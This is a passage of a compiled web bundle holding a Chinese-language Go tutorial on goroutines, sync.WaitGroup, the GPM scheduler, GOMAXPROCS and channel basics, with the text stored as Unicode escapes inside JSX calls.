\u5305\u4e2d\u7684",(0,i.jsx)(e.code,{children:"WaitGroup"}),"\u3002\u5f53\u4f60\u5e76\u4e0d\u5173\u5fc3\u5e76\u53d1\u64cd\u4f5c\u7684\u7ed3\u679c\u6216\u8005\u6709\u5176\u5b83\u65b9\u5f0f\u6536\u96c6\u5e76\u53d1\u64cd\u4f5c\u7684\u7ed3\u679c\u65f6\uff0c",(0,i.jsx)(e.code,{children:"WaitGroup"}),"\u662f\u5b9e\u73b0\u7b49\u5f85\u4e00\u7ec4\u5e76\u53d1\u64cd\u4f5c\u5b8c\u6210\u7684\u597d\u65b9\u6cd5\u3002"]}),"\n",(0,i.jsxs)(e.p,{children:["\u4e0b\u9762\u7684\u793a\u4f8b\u4ee3\u7801\u4e2d\u6211\u4eec\u5728 main goroutine \u4e2d\u4f7f\u7528",(0,i.jsx)(e.code,{children:"sync.WaitGroup"}),"\u6765\u7b49\u5f85 hello goroutine \u5b8c\u6210\u540e\u518d\u9000\u51fa\u3002"]}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-go",children:'package main\n\nimport (\n\t"fmt"\n\t"sync"\n)\n\n// \u58f0\u660e\u5168\u5c40\u7b49\u5f85\u7ec4\u53d8\u91cf\nvar wg sync.WaitGroup\n\nfunc hello() {\n\tfmt.Println("hello")\n\twg.Done() // \u544a\u77e5\u5f53\u524dgoroutine\u5b8c\u6210\n}\n\nfunc main() {\n\twg.Add(1) // \u767b\u8bb01\u4e2agoroutine\n\tgo hello()\n\tfmt.Println("\u4f60\u597d")\n\twg.Wait() // \u963b\u585e\u7b49\u5f85\u767b\u8bb0\u7684goroutine\u5b8c\u6210\n}\n'})}),"\n",(0,i.jsx)(e.p,{children:"\u5c06\u4ee3\u7801\u7f16\u8bd1\u540e\u518d\u6267\u884c\uff0c\u5f97\u5230\u7684\u8f93\u51fa\u7ed3\u679c\u548c\u4e4b\u524d\u4e00\u81f4\uff0c\u4f46\u662f\u8fd9\u4e00\u6b21\u7a0b\u5e8f\u4e0d\u518d\u4f1a\u6709\u591a\u4f59\u7684\u505c\u987f\uff0chello goroutine \u6267\u884c\u5b8c\u6bd5\u540e\u7a0b\u5e8f\u76f4\u63a5\u9000\u51fa\u3002"}),"\n",(0,i.jsx)(e.h3,{id:"\u542f\u52a8\u591a\u4e2agoroutine",children:"\u542f\u52a8\u591a\u4e2agoroutine"}),"\n",(0,i.jsxs)(e.p,{children:["\u5728 Go \u8bed\u8a00\u4e2d\u5b9e\u73b0\u5e76\u53d1\u5c31\u662f\u8fd9\u6837\u7b80\u5355\uff0c\u6211\u4eec\u8fd8\u53ef\u4ee5\u542f\u52a8\u591a\u4e2a goroutine \u3002\u8ba9\u6211\u4eec\u518d\u6765\u770b\u4e00\u4e2a\u65b0\u7684\u4ee3\u7801\u793a\u4f8b\u3002\u8fd9\u91cc\u540c\u6837\u4f7f\u7528\u4e86",(0,i.jsx)(e.code,{children:"sync.WaitGroup"}),"\u6765\u5b9e\u73b0 goroutine \u7684\u540c\u6b65\u3002"]}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-go",children:'package main\n\nimport (\n\t"fmt"\n\t"sync"\n)\n\nvar wg sync.WaitGroup\n\nfunc hello(i int) {\n\tdefer wg.Done() // goroutine\u7ed3\u675f\u5c31\u767b\u8bb0-1\n\tfmt.Println("hello", i)\n}\nfunc main() {\n\tfor i := 0; i < 10; i++ {\n\t\twg.Add(1) // \u542f\u52a8\u4e00\u4e2agoroutine\u5c31\u767b\u8bb0+1\n\t\tgo hello(i)\n\t}\n\twg.Wait() // \u7b49\u5f85\u6240\u6709\u767b\u8bb0\u7684goroutine\u90fd\u7ed3\u675f\n}\n'})}),"\n",(0,i.jsx)(e.p,{children:"\u591a\u6b21\u6267\u884c\u4e0a\u9762\u7684\u4ee3\u7801\u4f1a\u53d1\u73b0\u6bcf\u6b21\u7ec8\u7aef\u4e0a\u6253\u5370\u6570\u5b57\u7684\u987a\u5e8f\u90fd\u4e0d\u4e00\u81f4\u3002\u8fd9\u662f\u56e0\u4e3a10\u4e2a goroutine \u662f\u5e76\u53d1\u6267\u884c\u7684\uff0c\u800c goroutine \u7684\u8c03\u5ea6\u662f\u968f\u673a\u7684\u3002"}),"\n",(0,i.jsx)(e.h3,{id:"\u52a8\u6001\u6808",children:"\u52a8\u6001\u6808"}),"\n",(0,i.jsx)(e.p,{children:"\u64cd\u4f5c\u7cfb\u7edf\u7684\u7ebf\u7a0b\u4e00\u822c\u90fd\u6709\u56fa\u5b9a\u7684\u6808\u5185\u5b58\uff08\u901a\u5e38\u4e3a2MB\uff09,\u800c Go \u8bed\u8a00\u4e2d\u7684 goroutine \u975e\u5e38\u8f7b\u91cf\u7ea7\uff0c\u4e00\u4e2a goroutine \u7684\u521d\u59cb\u6808\u7a7a\u95f4\u5f88\u5c0f\uff08\u4e00\u822c\u4e3a2KB\uff09\uff0c\u6240\u4ee5\u5728 Go \u8bed\u8a00\u4e2d\u4e00\u6b21\u521b\u5efa\u6570\u4e07\u4e2a goroutine \u4e5f\u662f\u53ef\u80fd\u7684\u3002\u5e76\u4e14 goroutine \u7684\u6808\u4e0d\u662f\u56fa\u5b9a\u7684\uff0c\u53ef\u4ee5\u6839\u636e\u9700\u8981\u52a8\u6001\u5730\u589e\u5927\u6216\u7f29\u5c0f\uff0c Go \u7684 runtime \u4f1a\u81ea\u52a8\u4e3a goroutine \u5206\u914d\u5408\u9002\u7684\u6808\u7a7a\u95f4\u3002"}),"\n",(0,i.jsx)(e.h3,{id:"goroutine\u8c03\u5ea6",children:"goroutine\u8c03\u5ea6"}),"\n",(0,i.jsx)(e.p,{children:"\u64cd\u4f5c\u7cfb\u7edf\u5185\u6838\u5728\u8c03\u5ea6\u65f6\u4f1a\u6302\u8d77\u5f53\u524d\u6b63\u5728\u6267\u884c\u7684\u7ebf\u7a0b\u5e76\u5c06\u5bc4\u5b58\u5668\u4e2d\u7684\u5185\u5bb9\u4fdd\u5b58\u5230\u5185\u5b58\u4e2d\uff0c\u7136\u540e\u9009\u51fa\u63a5\u4e0b\u6765\u8981\u6267\u884c\u7684\u7ebf\u7a0b\u5e76\u4ece\u5185\u5b58\u4e2d\u6062\u590d\u8be5\u7ebf\u7a0b\u7684\u5bc4\u5b58\u5668\u4fe1\u606f\uff0c\u7136\u540e\u6062\u590d\u6267\u884c\u8be5\u7ebf\u7a0b\u7684\u73b0\u573a\u5e76\u5f00\u59cb\u6267\u884c\u7ebf\u7a0b\u3002\u4ece\u4e00\u4e2a\u7ebf\u7a0b\u5207\u6362\u5230\u53e6\u4e00\u4e2a\u7ebf\u7a0b\u9700\u8981\u5b8c\u6574\u7684\u4e0a\u4e0b\u6587\u5207\u6362\u3002\u56e0\u4e3a\u53ef\u80fd\u9700\u8981\u591a\u6b21\u5185\u5b58\u8bbf\u95ee\uff0c\u7d22\u5f15\u8fd9\u4e2a\u5207\u6362\u4e0a\u4e0b\u6587\u7684\u64cd\u4f5c\u5f00\u9500\u8f83\u5927\uff0c\u4f1a\u589e\u52a0\u8fd0\u884c\u7684cpu\u5468\u671f\u3002"}),"\n",(0,i.jsx)(e.p,{children:"\u533a\u522b\u4e8e\u64cd\u4f5c\u7cfb\u7edf\u5185\u6838\u8c03\u5ea6\u64cd\u4f5c\u7cfb\u7edf\u7ebf\u7a0b\uff0cgoroutine \u7684\u8c03\u5ea6\u662fGo\u8bed\u8a00\u8fd0\u884c\u65f6\uff08runtime\uff09\u5c42\u9762\u7684\u5b9e\u73b0\uff0c\u662f\u5b8c\u5168\u7531 Go \u8bed\u8a00\u672c\u8eab\u5b9e\u73b0\u7684\u4e00\u5957\u8c03\u5ea6\u7cfb\u7edf\u2014\u2014go scheduler\u3002\u5b83\u7684\u4f5c\u7528\u662f\u6309\u7167\u4e00\u5b9a\u7684\u89c4\u5219\u5c06\u6240\u6709\u7684 goroutine \u8c03\u5ea6\u5230\u64cd\u4f5c\u7cfb\u7edf\u7ebf\u7a0b\u4e0a\u6267\u884c\u3002"}),"\n",(0,i.jsxs)(e.p,{children:["\u5728\u7ecf\u5386\u6570\u4e2a\u7248\u672c\u7684\u8fed\u4ee3\u4e4b\u540e\uff0c\u76ee\u524d Go \u8bed\u8a00\u7684\u8c03\u5ea6\u5668\u91c7\u7528\u7684\u662f ",(0,i.jsx)(e.code,{children:"GPM"})," \u8c03\u5ea6\u6a21\u578b\u3002"]}),"\n",(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{alt:"gpm",src:t(64931).A+"",width:"712",height:"867"})}),"\n",(0,i.jsx)(e.p,{children:"\u5176\u4e2d\uff1a"}),"\n",(0,i.jsxs)(e.ul,{children:["\n",(0,i.jsxs)(e.li,{children:["G\uff1a\u8868\u793a goroutine\uff0c\u6bcf\u6267\u884c\u4e00\u6b21",(0,i.jsx)(e.code,{children:"go f()"}),"\u5c31\u521b\u5efa\u4e00\u4e2a G\uff0c\u5305\u542b\u8981\u6267\u884c\u7684\u51fd\u6570\u548c\u4e0a\u4e0b\u6587\u4fe1\u606f\u3002"]}),"\n",(0,i.jsx)(e.li,{children:"\u5168\u5c40\u961f\u5217\uff08Global Queue\uff09\uff1a\u5b58\u653e\u7b49\u5f85\u8fd0\u884c\u7684 G\u3002"}),"\n",(0,i.jsx)(e.li,{children:"P\uff1a\u8868\u793a goroutine \u6267\u884c\u6240\u9700\u7684\u8d44\u6e90\uff0c\u6700\u591a\u6709 GOMAXPROCS \u4e2a\u3002"}),"\n",(0,i.jsx)(e.li,{children:"P \u7684\u672c\u5730\u961f\u5217\uff1a\u540c\u5168\u5c40\u961f\u5217\u7c7b\u4f3c\uff0c\u5b58\u653e\u7684\u4e5f\u662f\u7b49\u5f85\u8fd0\u884c\u7684G\uff0c\u5b58\u7684\u6570\u91cf\u6709\u9650\uff0c\u4e0d\u8d85\u8fc7256\u4e2a\u3002\u65b0\u5efa G \u65f6\uff0cG \u4f18\u5148\u52a0\u5165\u5230 P \u7684\u672c\u5730\u961f\u5217\uff0c\u5982\u679c\u672c\u5730\u961f\u5217\u6ee1\u4e86\u4f1a\u6279\u91cf\u79fb\u52a8\u90e8\u5206 G \u5230\u5168\u5c40\u961f\u5217\u3002"}),"\n",(0,i.jsx)(e.li,{children:"M\uff1a\u7ebf\u7a0b\u60f3\u8fd0\u884c\u4efb\u52a1\u5c31\u5f97\u83b7\u53d6 P\uff0c\u4ece P \u7684\u672c\u5730\u961f\u5217\u83b7\u53d6 G\uff0c\u5f53 P \u7684\u672c\u5730\u961f\u5217\u4e3a\u7a7a\u65f6\uff0cM \u4e5f\u4f1a\u5c1d\u8bd5\u4ece\u5168\u5c40\u961f\u5217\u6216\u5176\u4ed6 P \u7684\u672c\u5730\u961f\u5217\u83b7\u53d6 G\u3002M \u8fd0\u884c G\uff0cG \u6267\u884c\u4e4b\u540e\uff0cM \u4f1a\u4ece P \u83b7\u53d6\u4e0b\u4e00\u4e2a G\uff0c\u4e0d\u65ad\u91cd\u590d\u4e0b\u53bb\u3002"}),"\n",(0,i.jsx)(e.li,{children:"Goroutine \u8c03\u5ea6\u5668\u548c\u64cd\u4f5c\u7cfb\u7edf\u8c03\u5ea6\u5668\u662f\u901a\u8fc7 M \u7ed3\u5408\u8d77\u6765\u7684\uff0c\u6bcf\u4e2a M \u90fd\u4ee3\u8868\u4e861\u4e2a\u5185\u6838\u7ebf\u7a0b\uff0c\u64cd\u4f5c\u7cfb\u7edf\u8c03\u5ea6\u5668\u8d1f\u8d23\u628a\u5185\u6838\u7ebf\u7a0b\u5206\u914d\u5230 CPU \u7684\u6838\u4e0a\u6267\u884c\u3002"}),"\n"]}),"\n",(0,i.jsx)(e.p,{children:"\u5355\u4ece\u7ebf\u7a0b\u8c03\u5ea6\u8bb2\uff0cGo\u8bed\u8a00\u76f8\u6bd4\u8d77\u5176\u4ed6\u8bed\u8a00\u7684\u4f18\u52bf\u5728\u4e8eOS\u7ebf\u7a0b\u662f\u7531OS\u5185\u6838\u6765\u8c03\u5ea6\u7684\uff0c goroutine \u5219\u662f\u7531Go\u8fd0\u884c\u65f6\uff08runtime\uff09\u81ea\u5df1\u7684\u8c03\u5ea6\u5668\u8c03\u5ea6\u7684\uff0c\u5b8c\u5168\u662f\u5728\u7528\u6237\u6001\u4e0b\u5b8c\u6210\u7684\uff0c \u4e0d\u6d89\u53ca\u5185\u6838\u6001\u4e0e\u7528\u6237\u6001\u4e4b\u95f4\u7684\u9891\u7e41\u5207\u6362\uff0c\u5305\u62ec\u5185\u5b58\u7684\u5206\u914d\u4e0e\u91ca\u653e\uff0c\u90fd\u662f\u5728\u7528\u6237\u6001\u7ef4\u62a4\u7740\u4e00\u5757\u5927\u7684\u5185\u5b58\u6c60\uff0c \u4e0d\u76f4\u63a5\u8c03\u7528\u7cfb\u7edf\u7684malloc\u51fd\u6570\uff08\u9664\u975e\u5185\u5b58\u6c60\u9700\u8981\u6539\u53d8\uff09\uff0c\u6210\u672c\u6bd4\u8c03\u5ea6OS\u7ebf\u7a0b\u4f4e\u5f88\u591a\u3002 \u53e6\u4e00\u65b9\u9762\u5145\u5206\u5229\u7528\u4e86\u591a\u6838\u7684\u786c\u4ef6\u8d44\u6e90\uff0c\u8fd1\u4f3c\u7684\u628a\u82e5\u5e72goroutine\u5747\u5206\u5728\u7269\u7406\u7ebf\u7a0b\u4e0a\uff0c \u518d\u52a0\u4e0a\u672c\u8eab goroutine \u7684\u8d85\u8f7b\u91cf\u7ea7\uff0c\u4ee5\u4e0a\u79cd\u79cd\u7279\u6027\u4fdd\u8bc1\u4e86 goroutine \u8c03\u5ea6\u65b9\u9762\u7684\u6027\u80fd\u3002"}),"\n",(0,i.jsx)(e.h3,{id:"gomaxprocs",children:"GOMAXPROCS"}),"\n",(0,i.jsxs)(e.p,{children:["Go\u8fd0\u884c\u65f6\u7684\u8c03\u5ea6\u5668\u4f7f\u7528",(0,i.jsx)(e.code,{children:"GOMAXPROCS"}),"\u53c2\u6570\u6765\u786e\u5b9a\u9700\u8981\u4f7f\u7528\u591a\u5c11\u4e2a OS \u7ebf\u7a0b\u6765\u540c\u65f6\u6267\u884c Go \u4ee3\u7801\u3002\u9ed8\u8ba4\u503c\u662f\u673a\u5668\u4e0a\u7684 CPU \u6838\u5fc3\u6570\u3002\u4f8b\u5982\u5728\u4e00\u4e2a 8 \u6838\u5fc3\u7684\u673a\u5668\u4e0a\uff0cGOMAXPROCS \u9ed8\u8ba4\u4e3a 8\u3002Go\u8bed\u8a00\u4e2d\u53ef\u4ee5\u901a\u8fc7",(0,i.jsx)(e.code,{children:"runtime.GOMAXPROCS"}),"\u51fd\u6570\u8bbe\u7f6e\u5f53\u524d\u7a0b\u5e8f\u5e76\u53d1\u65f6\u5360\u7528\u7684 CPU\u903b\u8f91\u6838\u5fc3\u6570\u3002\uff08Go1.5\u7248\u672c\u4e4b\u524d\uff0c\u9ed8\u8ba4\u4f7f\u7528\u7684\u662f\u5355\u6838\u5fc3\u6267\u884c\u3002Go1.5 \u7248\u672c\u4e4b\u540e\uff0c\u9ed8\u8ba4\u4f7f\u7528\u5168\u90e8\u7684CPU \u903b\u8f91\u6838\u5fc3\u6570\u3002\uff09"]}),"\n",(0,i.jsx)(e.h3,{id:"\u7ec3\u4e60\u9898",children:"\u7ec3\u4e60\u9898"}),"\n",(0,i.jsxs)(e.ol,{children:["\n",(0,i.jsx)(e.li,{children:"\u8bf7\u5199\u51fa\u4e0b\u9762\u7a0b\u5e8f\u7684\u6267\u884c\u7ed3\u679c\u3002"}),"\n"]}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-go",children:" for i := 0; i < 5; i++ {\n \tgo func() {\n \t\tfmt.Println(i)\n \t}()\n }\n"})}),"\n",(0,i.jsx)(e.h2,{id:"channel",children:"channel"}),"\n",(0,i.jsx)(e.p,{children:"\u5355\u7eaf\u5730\u5c06\u51fd\u6570\u5e76\u53d1\u6267\u884c\u662f\u6ca1\u6709\u610f\u4e49\u7684\u3002\u51fd\u6570\u4e0e\u51fd\u6570\u95f4\u9700\u8981\u4ea4\u6362\u6570\u636e\u624d\u80fd\u4f53\u73b0\u5e76\u53d1\u6267\u884c\u51fd\u6570\u7684\u610f\u4e49\u3002"}),"\n",(0,i.jsx)(e.p,{children:"\u867d\u7136\u53ef\u4ee5\u4f7f\u7528\u5171\u4eab\u5185\u5b58\u8fdb\u884c\u6570\u636e\u4ea4\u6362\uff0c\u4f46\u662f\u5171\u4eab\u5185\u5b58\u5728\u4e0d\u540c\u7684 goroutine \u4e2d\u5bb9\u6613\u53d1\u751f\u7ade\u6001\u95ee\u9898\u3002\u4e3a\u4e86\u4fdd\u8bc1\u6570\u636e\u4ea4\u6362\u7684\u6b63\u786e\u6027\uff0c\u5f88\u591a\u5e76\u53d1\u6a21\u578b\u4e2d\u5fc5\u987b\u4f7f\u7528\u4e92\u65a5\u91cf\u5bf9\u5185\u5b58\u8fdb\u884c\u52a0\u9501\uff0c\u8fd9\u79cd\u505a\u6cd5\u52bf\u5fc5\u9020\u6210\u6027\u80fd\u95ee\u9898\u3002"}),"\n",(0,i.jsxs)(e.p,{children:["Go\u8bed\u8a00\u91c7\u7528\u7684\u5e76\u53d1\u6a21\u578b\u662f",(0,i.jsx)(e.code,{children:"CSP\uff08Communicating Sequential Processes\uff09"}),"\uff0c\u63d0\u5021",(0,i.jsx)(e.strong,{children:"\u901a\u8fc7\u901a\u4fe1\u5171\u4eab\u5185\u5b58"}),"\u800c\u4e0d\u662f",(0,i.jsx)(e.strong,{children:"\u901a\u8fc7\u5171\u4eab\u5185\u5b58\u800c\u5b9e\u73b0\u901a\u4fe1"}),"\u3002"]}),"\n",(0,i.jsxs)(e.p,{children:["\u5982\u679c\u8bf4 goroutine \u662fGo\u7a0b\u5e8f\u5e76\u53d1\u7684\u6267\u884c\u4f53\uff0c",(0,i.jsx)(e.code,{children:"channel"}),"\u5c31\u662f\u5b83\u4eec\u4e4b\u95f4\u7684\u8fde\u63a5\u3002",(0,i.jsx)(e.code,{children:"channel"}),"\u662f\u53ef\u4ee5\u8ba9\u4e00\u4e2a goroutine \u53d1\u9001\u7279\u5b9a\u503c\u5230\u53e6\u4e00\u4e2a goroutine \u7684\u901a\u4fe1\u673a\u5236\u3002"]}),"\n",(0,i.jsx)(e.p,{children:"Go \u8bed\u8a00\u4e2d\u7684\u901a\u9053\uff08channel\uff09\u662f\u4e00\u79cd\u7279\u6b8a\u7684\u7c7b\u578b\u3002\u901a\u9053\u50cf\u4e00\u4e2a\u4f20\u9001\u5e26\u6216\u8005\u961f\u5217\uff0c\u603b\u662f\u9075\u5faa\u5148\u5165\u5148\u51fa\uff08First In First Out\uff09\u7684\u89c4\u5219\uff0c\u4fdd\u8bc1\u6536\u53d1\u6570\u636e\u7684\u987a\u5e8f\u3002\u6bcf\u4e00\u4e2a\u901a\u9053\u90fd\u662f\u4e00\u4e2a\u5177\u4f53\u7c7b\u578b\u7684\u5bfc\u7ba1\uff0c\u4e5f\u5c31\u662f\u58f0\u660echannel\u7684\u65f6\u5019\u9700\u8981\u4e3a\u5176\u6307\u5b9a\u5143\u7d20\u7c7b\u578b\u3002"}),"\n",(0,i.jsx)(e.h3,{id:"channel\u7c7b\u578b",children:"channel\u7c7b\u578b"}),"\n",(0,i.jsxs)(e.p,{children:[(0,i.jsx)(e.code,{children:"channel"}),"\u662f Go \u8bed\u8a00\u4e2d\u4e00\u79cd\u7279\u6709\u7684\u7c7b\u578b\u3002\u58f0\u660e\u901a\u9053\u7c7b\u578b\u53d8\u91cf\u7684\u683c\u5f0f\u5982\u4e0b\uff1a"]}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-go",children:"var \u53d8\u91cf\u540d\u79f0 chan \u5143\u7d20\u7c7b\u578b\n"})}),"\n",(0,i.jsx)(e.p,{children:"\u5176\u4e2d\uff1a"}),"\n",(0,i.jsxs)(e.ul,{children:["\n",(0,i.jsx)(e.li,{children:"chan\uff1a\u662f\u5173\u952e\u5b57"}),"\n",(0,i.jsx)(e.li,{children:"\u5143\u7d20\u7c7b\u578b\uff1a\u662f\u6307\u901a\u9053\u4e2d\u4f20\u9012\u5143\u7d20\u7684\u7c7b\u578b"}),"\n"]}),"\n",(0,i.jsx)(e.p,{children:"\u4e3e\u51e0\u4e2a\u4f8b\u5b50\uff1a"}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-go",children:"var ch1 chan int // \u58f0\u660e\u4e00\u4e2a\u4f20\u9012\u6574\u578b\u7684\u901a\u9053\nvar ch2 chan bool // \u58f0\u660e\u4e00\u4e2a\u4f20\u9012\u5e03\u5c14\u578b\u7684\u901a\u9053\nvar ch3 chan []int // \u58f0\u660e\u4e00\u4e2a\u4f20\u9012int\u5207\u7247\u7684\u901a\u9053\n"})}),"\n",(0,i.jsx)(e.h3,{id:"channel\u96f6\u503c",children:"channel\u96f6\u503c"}),"\n",(0,i.jsxs)(e.p,{children:["\u672a\u521d\u59cb\u5316\u7684\u901a\u9053\u7c7b\u578b\u53d8\u91cf\u5176\u9ed8\u8ba4\u96f6\u503c\u662f",(0,i.jsx)(e.code,{children:"nil"}),"\u3002"]}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-go",children:"var ch chan int\nfmt.Println(ch) // <nil>\n"})}),"\n",(0,i.jsx)(e.h3,{id:"\u521d\u59cb\u5316channel",children:"\u521d\u59cb\u5316channel"}),"\n",(0,i.jsxs)(e.p,{children:["\u58f0\u660e\u7684\u901a\u9053\u7c7b\u578b\u53d8\u91cf\u9700\u8981\u4f7f\u7528\u5185\u7f6e\u7684",(0,i.jsx)(e.code,{children:"make"}),"\u51fd\u6570\u521d\u59cb\u5316\u4e4b\u540e\u624d\u80fd\u4f7f\u7528\u3002\u5177\u4f53\u683c\u5f0f\u5982\u4e0b\uff1a"]}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-go",children:"make(chan \u5143\u7d20\u7c7b\u578b, [\u7f13\u51b2\u5927\u5c0f])\n"})}),"\n",(0,i.jsx)(e.p,{children:"\u5176\u4e2d\uff1a"}),"\n",(0,i.jsxs)(e.ul,{children:["\n",(0,i.jsx)(e.li,{children:"channel\u7684\u7f13\u51b2\u5927\u5c0f\u662f\u53ef\u9009\u7684\u3002"}),"\n"]}),"\n",(0,i.jsx)(e.p,{children:"\u4e3e\u51e0\u4e2a\u4f8b\u5b50\uff1a"}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-go",children:"ch4 := make(chan int)\nch5 := make(chan bool, 1) // \u58f0\u660e\u4e00\u4e2a\u7f13\u51b2\u533a\u5927\u5c0f\u4e3a1\u7684\u901a\u9053\n"})}),"\n",(0,i.jsx)(e.h3,{id:"channel\u64cd\u4f5c",children:"channel\u64cd\u4f5c"}),"\n",(0,i.jsxs)(e.p,{children:["\u901a\u9053\u5171\u6709\u53d1\u9001\uff08send\uff09\u3001\u63a5\u6536(receive\uff09\u548c\u5173\u95ed\uff08close\uff09\u4e09\u79cd\u64cd\u4f5c\u3002\u800c\u53d1\u9001\u548c\u63a5\u6536\u64cd\u4f5c\u90fd\u4f7f\u7528",(0,i.jsx)(e.code,{children:"<-"}),"\u7b26\u53f7\u3002"]}),"\n",(0,i.jsx)(e.p,{children:"\u73b0\u5728\u6211\u4eec\u5148\u4f7f\u7528\u4ee5\u4e0b\u8bed\u53e5\u5b9a\u4e49\u4e00\u4e2a\u901a\u9053\uff1a"}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-go",children:"ch := make(chan int)\n"})}),"\n",(0,i.jsx)(e.h4,{id:"\u53d1\u9001",children:"\u53d1\u9001"}),"\n",(0,i.jsx)(e.p,{children:"\u5c06\u4e00\u4e2a\u503c\u53d1\u9001\u5230\u901a\u9053\u4e2d\u3002"}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-go",children:"ch <- 10 // \u628a10\u53d1\u9001\u5230ch\u4e2d\n"})}),"\n",(0,i.jsx)(e.h4,{id:"\u63a5\u6536",children:"\u63a5\u6536"}),"\n",(0,i.jsx)(e.p,{children:"\u4ece\u4e00\u4e2a\u901a\u9053\u4e2d\u63a5\u6536\u503c\u3002"}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-go",children:"x := <- ch // \u4ecech\u4e2d\u63a5\u6536\u503c\u5e76\u8d4b\u503c\u7ed9\u53d8\u91cfx\n<-ch // \u4ecech\u4e2d\u63a5\u6536\u503c\uff0c\u5ffd\u7565\u7ed3\u679c\n"})}),"\n",(0,i.jsx)(e.h4,{id:"\u5173\u95ed",children:"\u5173\u95ed"}),"\n",(0,i.jsxs)(e.p,{children:["\u6211\u4eec\u901a\u8fc7\u8c03\u7528\u5185\u7f6e\u7684",(0,i.jsx)(e.code,{children:"close"}),"\u51fd\u6570\u6765\u5173\u95ed\u901a\u9053\u3002"]}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-go",children:"close(ch)\n"})}),"\n",(0,i.jsx)(e.p,{children:"**\u6ce8\u610f\uff1a**\u4e00\u4e2a\u901a\u9053\u503c\u662f\u53ef\u4ee5\u88ab\u5783\u573e\u56de\u6536\u6389\u7684\u3002\u901a\u9053\u901a\u5e38\u7531\u53d1\u9001\u65b9\u6267\u884c\u5173\u95ed\u64cd\u4f5c\uff0c\u5e76\u4e14\u53ea\u6709\u5728\u63a5\u6536\u65b9\u660e\u786e\u7b49\u5f85\u901a\u9053\u5173\u95ed\u7684\u4fe1\u53f7\u65f6\u624d\u9700\u8981\u6267\u884c\u5173\u95ed\u64cd\u4f5c\u3002\u5b83\u548c\u5173\u95ed\u6587\u4ef6\u4e0d\u4e00\u6837\uff0c\u901a\u5e38\u5728\u7ed3\u675f\u64cd\u4f5c\u4e4b\u540e\u5173\u95ed\u6587\u4ef6\u662f\u5fc5\u987b\u8981\u505a\u7684\uff0c\u4f46\u5173\u95ed\u901a\u9053\u4e0d\u662f\u5fc5\u987b\u7684\u3002"}),"\n",(0,i.jsx)(e.p,{children:"\u5173\u95ed\u540e\u7684\u901a\u9053\u6709\u4ee5\u4e0b\u7279\u70b9\uff1a"}),"\n",(0,i.jsxs)(e.ol,{children:["\n",(0,i.jsx)(e.li,{children:"\u5bf9\u4e00\u4e2a\u5173\u95ed\u7684\u901a\u9053\u518d\u53d1\u9001\u503c\u5c31\u4f1a\u5bfc\u81f4 panic\u3002"}),"\n",(0,i.jsx)(e.li,{children:"\u5bf9\u4e00\u4e2a\u5173\u95ed\u7684\u901a\u9053\u8fdb\u884c\u63a5\u6536\u4f1a\u4e00\u76f4\u83b7\u53d6\u503c\u76f4\u5230\u901a\u9053\u4e3a\u7a7a\u3002"}),"\n",(0,i.jsx)(e.li,{children:"\u5bf9\u4e00\u4e2a\u5173\u95ed\u7684\u5e76\u4e14\u6ca1\u6709\u503c\u7684\u901a\u9053\u6267\u884c\u63a5\u6536\u64cd\u4f5c\u4f1a\u5f97\u5230\u5bf9\u5e94\u7c7b\u578b\u7684\u96f6\u503c\u3002"}),"\n",(0,i.jsx)(e.li,{children:"\u5173\u95ed\u4e00\u4e2a\u5df2\u7ecf\u5173\u95ed\u7684\u901a\u9053\u4f1a\u5bfc\u81f4 panic\u3002"}),"\n"]}),"\n",(0,i.jsx)(e.h3,{id:"\u65e0\u7f13\u51b2\u7684\u901a\u9053",children:"\u65e0\u7f13\u51b2\u7684\u901a\u9053"}),"\n",(0,i.jsx)(e.p,{children:"\u65e0\u7f13\u51b2\u7684\u901a\u9053\u53c8\u79f0\u4e3a\u963b\u585e\u7684\u901a\u9053\u3002\u6211\u4eec\u6765\u770b\u4e00\u4e0b\u5982\u4e0b\u4ee3\u7801\u7247\u6bb5\u3002"}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-go",children:'func main() {\n\tch := make(chan int)\n\tch <- 10\n\tfmt.Println("\u53d1\u9001\u6210\u529f")\n}\n'})}),"\n",(0,i.jsx)(e.p,{children:"\u4e0a\u9762\u8fd9\u6bb5\u4ee3\u7801\u80fd\u591f\u901a\u8fc7\u7f16\u8bd1\uff0c\u4f46\u662f\u6267\u884c\u7684\u65f6\u5019\u4f1a\u51fa\u73b0\u4ee5\u4e0b\u9519\u8bef\uff1a"}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-bash",children:"fatal error: all goroutines are asleep - deadlock!\n\ngoroutine 1 [chan send]:\nmain.main()\n .../main.go:8 +0x54\n"})}),"\n",(0,i.jsxs)(e.p,{children:[(0,i.jsx)(e.code,{children:"deadlock"}),"\u8868\u793a\u6211\u4eec\u7a0b\u5e8f\u4e2d\u7684 goroutine \u90fd\u88ab\u6302\u8d77\u5bfc\u81f4\u7a0b\u5e8f\u6b7b\u9501\u4e86\u3002\u4e3a\u4ec0\u4e48\u4f1a\u51fa\u73b0",(0,i.jsx)(e.code,{children:"deadlock"}),"\u9519\u8bef\u5462\uff1f"]}),"\n",(0,i.jsxs)(e.p,{children:["\u56e0\u4e3a\u6211\u4eec\u4f7f\u7528",(0,i.jsx)(e.code,{children:"ch := make(chan 